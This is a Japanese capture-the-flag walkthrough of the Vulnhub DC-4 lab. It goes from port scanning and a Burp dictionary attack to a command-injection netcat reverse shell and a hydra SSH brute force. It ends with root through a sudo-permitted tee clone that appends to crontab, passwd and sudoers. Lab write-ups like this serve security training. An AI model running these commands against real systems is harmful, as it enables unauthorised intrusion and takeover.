DC-4 : Vulnhub Walkthrough
- nmap -Pn -sS -sV -p- 192.168.2.114
- nikto -h 192.168.2.114
- gobuster dir -u 192.168.2.114 -w /usr/share/dirb/wordlists/big.txt -t 50 -q -x php
- BurpSuite
- /command.php
nmap -Pn -sS -sV -p- 192.168.2.114
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 80/tcp open http nginx 1.15.10
ログインページがあります。
nikto -h 192.168.2.114
特に何もなし
gobuster dir -u 192.168.2.114 -w /usr/share/dirb/wordlists/big.txt -t 50 -q -x php
/command.php (Status: 302) /css (Status: 301) /images (Status: 301) /index.php (Status: 200) /login.php (Status: 302) /logout.php (Status: 302)
ログインページ以外なにもないのでBurp Suiteでブルートフォースをすることにします。
BurpSuite
ここまで設定した上でstart attackを押すと辞書攻撃がはじまります。
地味に時間がかかりますがこれでパスワードがhappyであることがわかりました。
/command.php
ログインするとcommand.phpにアクセスされます。
ここでBurpSuiteでHTTPリクエストを見てみるとradio=ls+-l&submit=RunがPOSTされていることがわかります。
radioというクエリに任意のコマンドを与えれば好きなコマンドが実行できそうです。このままBurpでPOSTしようとしたのですが何故かうまくいかなかったのでcurlコマンドでリバースシェルが起動するようにncコマンドを実行させました。
$ curl -d "radio=nc+-nv+192.168.2.109+5555+-e+/bin/sh&submit=Run" http://192.168.2.114/command.php --cookie "PHPSESSID=ttut6nnbo8alt6tvpffoa674u4"
nc -lvp 5555
listening on [any] 5555 ... 192.168.2.114: inverse host lookup failed: Unknown host connect to [192.168.2.109] from (UNKNOWN) [192.168.2.114] 41092 id uid=33(www-data) gid=33(www-data) groups=33(www-data) python -c "import pty;pty.spawn('/bin/bash')" www-data@dc-4:/usr/share/nginx/html$
SUIDが設定されているファイルがないかを確認しました。
www-data@dc-4:/$ find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null /usr/bin/gpasswd /usr/bin/chfn /usr/bin/sudo /usr/bin/chsh /usr/bin/newgrp /usr/bin/passwd /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/sbin/exim4 /bin/mount /bin/umount /bin/su /bin/ping /home/jim/test.sh
www-data@dc-4:/home/jim$ cat test.sh cat test.sh #!/bin/bash for i in {1..5} do sleep 1 echo "Learn bash they said." sleep 1 echo "Bash is good they said." done echo "But I'd rather bash my head against a brick wall."
/home/jim/test.shが怪しいのですがファイルの中身をみてどうすればいいのかよくわからなかったので一旦スルーしました。
しかし、jimのホームディレクトリにあるbackupsというディレクトリのold-passwords.bakというファイルが明らかに辞書だったのでこの中にjimのパスワードがあるということが推測できます。
www-data@dc-4:/home/jim$ cd backups cd backups www-data@dc-4:/home/jim/backups$ ls ls old-passwords.bak www-data@dc-4:/home/jim/backups$ cat old-passwords.bak cat old-passwords.bak 000000 12345 iloveyou 1q2w3e4r5t 1234 123456a qwertyuiop monkey 123321 dragon 654321 666666 123 myspace1 a123456 121212 1qaz2wsx 123qwe 123abc tinkle target123 gwerty 1g2w3e4r gwerty123 zag12wsx 7777777 qwerty1 1q2w3e4r 987654321 222222 qwe123 qwerty123 zxcvbnm 555555 112233 fuckyou asdfghjkl 12345a 123123123 1q2w3e qazwsx loveme1 juventus jennifer1 !~!1 bubbles samuel fuckoff lovers cheese1 0123456 123asd 999999999 madison elizabeth1 music buster1 lauren david1 tigger1 123qweasd taylor1 carlos tinkerbell samantha1 Sojdlg123aljg joshua1 poop stella myspace123 asdasd5 freedom1 whatever1 xxxxxx 00000 valentina a1b2c3 741852963 austin monica qaz123 lovely1 music1 harley1 family1 spongebob1 steven nirvana 1234abcd hellokitty thomas1 cooper 520520 muffin christian1 love13 fucku2 arsenal1 lucky7 diablo apples george1 babyboy1 crystal 1122334455 player1 aa123456 vfhbyf forever1 Password winston chivas1 sexy hockey1 1a2b3c4d pussy playboy1 stalker cherry tweety toyota creative gemini pretty1 maverick brittany1 nathan1 letmein1 cameron1 secret1 google1 heaven martina murphy spongebob uQA9Ebw445 fernando pretty startfinding softball dolphin1 fuckme test123 qwerty1234 kobe24 alejandro adrian september aaaaaa1 bubba1 isabella abc123456 password3 jason1 abcdefg123 loveyou1 shannon 100200 manuel leonardo molly1 flowers 123456z 007007 password. 321321 miguel samsung1 sergey sweet1 abc1234 windows qwert123 vfrcbv poohbear d123456 school1 badboy 951753 123456c 111 steven1 snoopy1 garfield YAgjecc826 compaq candy1 sarah1 qwerty123456 123456l eminem1 141414 789789 maria steelers iloveme1 morgan1 winner boomer lolita nastya alexis1 carmen angelo nicholas1 portugal precious jackass1 jonathan1 yfnfif bitch tiffany rabbit rainbow1 angel123 popcorn barbara brandy starwars1 barney natalia jibril04 hiphop tiffany1 shorty poohbear1 simone albert marlboro hardcore cowboys sydney alex scorpio 1234512345 q12345 qq123456 onelove bond007 abcdefg1 eagles crystal1 azertyuiop winter sexy12 angelina james svetlana fatima 123456k icecream popcorn1 www-data@dc-4:/home/jim/backups$
ローカル環境でhydraを用いて総当りをします。
hydra -l jim -P pass.txt 192.168.2.114 ssh
[22][ssh] host: 192.168.2.114 login: jim password: jibril04
su jim
jimでログインしたあとにmboxというファイルをみてみるとメールのようです。
jim@dc-4:~$ cat mbox From root@dc-4 Sat Apr 06 20:20:04 2019 Return-path: <root@dc-4> Envelope-to: jim@dc-4 Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000 Received: from root by dc-4 with local (Exim 4.89) (envelope-from <root@dc-4>) id 1hCiQe-0000gc-EC for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000 To: jim@dc-4 Subject: Test MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Message-Id: <E1hCiQe-0000gc-EC@dc-4> From: root <root@dc-4> Date: Sat, 06 Apr 2019 20:20:04 +1000 Status: RO This is a test.
特にここにはなにもないので/var/mailにあるメールを開いてみるとcharlesのパスワードが書かれています。
im@dc-4:/var/mail$ cat jim From charles@dc-4 Sat Apr 06 21:15:46 2019 Return-path: <charles@dc-4> Envelope-to: jim@dc-4 Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000 Received: from charles by dc-4 with local (Exim 4.89) (envelope-from <charles@dc-4>) id 1hCjIX-0000kO-Qt for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000 To: jim@dc-4 Subject: Holidays MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Message-Id: <E1hCjIX-0000kO-Qt@dc-4> From: Charles <charles@dc-4> Date: Sat, 06 Apr 2019 21:15:45 +1000 Status: O Hi Jim, I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong. Password is: ^xHhA&hvim0y See ya, Charles
su charles
charlesはsudoを実行できるのでどういう設定がされているか見てみると
charles@dc-4:/home/jim$ sudo -l Matching Defaults entries for charles on dc-4: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User charles may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/teehee
teeheeというコマンドをroot権限で実行できるようです。 teeheeというコマンドは初めて聞いたのですがhelpを見てみると
charles@dc-4:/home/jim$ teehee --help Usage: teehee [OPTION]... [FILE]... Copy standard input to each FILE, and also to standard output. -a, --append append to the given FILEs, do not overwrite -i, --ignore-interrupts ignore interrupt signals -p diagnose errors writing to non pipes --output-error[=MODE] set behavior on write error. See MODE below --help display this help and exit --version output version information and exit MODE determines behavior with write errors on the outputs: 'warn' diagnose errors writing to any output 'warn-nopipe' diagnose errors writing to any output not a pipe 'exit' exit on error writing to any output 'exit-nopipe' exit on error writing to any output not a pipe The default MODE for the -p option is 'warn-nopipe'. The default operation when --output-error is not specified, is to exit immediately on error writing to a pipe, and diagnose errors writing to non pipe outputs. GNU coreutils online help: <http://www.gnu.org/software/coreutils/> Full documentation at: <http://www.gnu.org/software/coreutils/tee> or available locally via: info '(coreutils) tee invocation'
ファイルに書き込めるコマンドのようです。つまりroot権限で好きなように設定ファイルを書き換えることができます。
例えば、/etc/crontabを書き換えて毎分chmod 4777 /bin/shを実行させることで/bin/shをroot権限で実行できるようにしたり
charles@dc-4:~$ echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
tekashiというroot権限をもったユーザをパスワードなしで/etc/passwdに追加したり
charles@dc-4:~$ echo "tekashi::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
sudoで/bin/shを実行することでroot権限で/bin/shを実行できるように/etc/sudoersに書き込んだり何でもできます。
charles@dc-4:~$ echo "charles ALL=(root) /bin/sh" | sudo teehee -a /etc/sudoers charles@dc-4:/home/jim$ sudo -l Matching Defaults entries for charles on dc-4: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User charles may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/teehee (root) /bin/sh
これらを経て無事特権昇格できました。
charles@dc-4:/home/jim$ sudo /bin/sh [sudo] password for charles: # id uid=0(root) gid=0(root) groups=0(root) # cat /root/flag.txt 888 888 888 888 8888888b. 888 888 888 888 888 o 888 888 888 888 "Y88b 888 888 888 888 888 d8b 888 888 888 888 888 888 888 888 888 888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888 888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888 88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P 8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " " 888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888 Congratulations!!! Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges. If you enjoyed this CTF, send me a tweet via @DCAU7.